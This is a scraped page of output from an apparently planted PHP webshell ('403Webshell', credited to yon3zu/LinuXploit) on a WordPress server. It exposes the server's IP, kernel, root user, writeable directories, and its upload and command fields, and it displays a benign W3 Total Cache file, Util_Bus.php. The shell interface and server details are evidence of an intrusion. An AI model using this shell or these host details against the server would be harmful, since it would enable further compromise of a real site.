403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/Util_Bus.php
<?php
/**
 * File: Util_Bus.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Util_Bus
 */
class Util_Bus {
	/**
	 * Add W3TC action callback
	 *
	 * @param string $w3tc_key      Key.
	 * @param mixed  $callback Callback.
	 *
	 * @return void
	 */
	public static function add_ob_callback( $w3tc_key, $callback ) {
		$GLOBALS['w3tc_ob_callbacks'][ $w3tc_key ] = $callback;
	}

	/**
	 * Do W3TC action callbacks
	 *
	 * @param array $order Order.
	 * @param mixed $w3tc_value Value.
	 *
	 * @return mixed
	 */
	public static function do_ob_callbacks( $order, $w3tc_value ) {
		foreach ( $order as $w3tc_key ) {
			if ( isset( $GLOBALS['w3tc_ob_callbacks'][ $w3tc_key ] ) ) {
				$callback = $GLOBALS['w3tc_ob_callbacks'][ $w3tc_key ];
				if ( is_callable( $callback ) ) {
					$w3tc_value = call_user_func( $callback, $w3tc_value );
				}
			}
		}

		return $w3tc_value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit